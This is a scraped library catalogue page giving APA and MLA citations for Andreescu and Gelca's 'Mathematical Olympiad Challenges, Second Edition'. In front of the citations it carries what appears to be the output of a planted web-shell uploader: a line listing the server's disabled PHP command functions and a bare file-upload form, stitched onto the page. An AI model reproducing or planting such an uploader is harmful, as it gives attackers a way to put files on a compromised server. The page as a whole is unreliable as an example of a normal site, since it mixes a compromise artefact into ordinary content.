ALL_CMD_DISABLED:passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv<form method=post enctype=multipart/form-data><input type=file name=f><input type=submit value=Upload></form><link href="/css/bootstrap.min.css" rel="stylesheet"/><link href="/template/default/assets/plugin/font-awesome/css/fontawesome-all.min.css" rel="stylesheet"/><div class="mx-3"><p class="citation text-justify">
  <h3>Gaya APA</h3>
      <span class="authors">Andreescu, T, &, G, R.</span> <span class="year">(2009).</span>
    <span class="title"><em>Mathematical Olympiad Challenges Second Edition</em> (<span class="edition">Second Edition)</span>.</span>
    <span class="publish_place">Boston:</span>
  <span class="publisher">Birkhauser.</span>
</p><p class="citation text-justify">
  <h3>Gaya MLA</h3>
      <span class="authors">Andreescu, Titu, &, Gelca,, Razvan.</span>
    <span class="title">"Mathematical Olympiad Challenges Second Edition".</span>
    <span class="edition"><em>Second Edition</em></span>
    <span class="publish_place">Boston:</span>
  <span class="publisher">Birkhauser,</span>
  <span class="year">2009.</span>
  <span class="gmd_name">Printed Book.</span>
</p>
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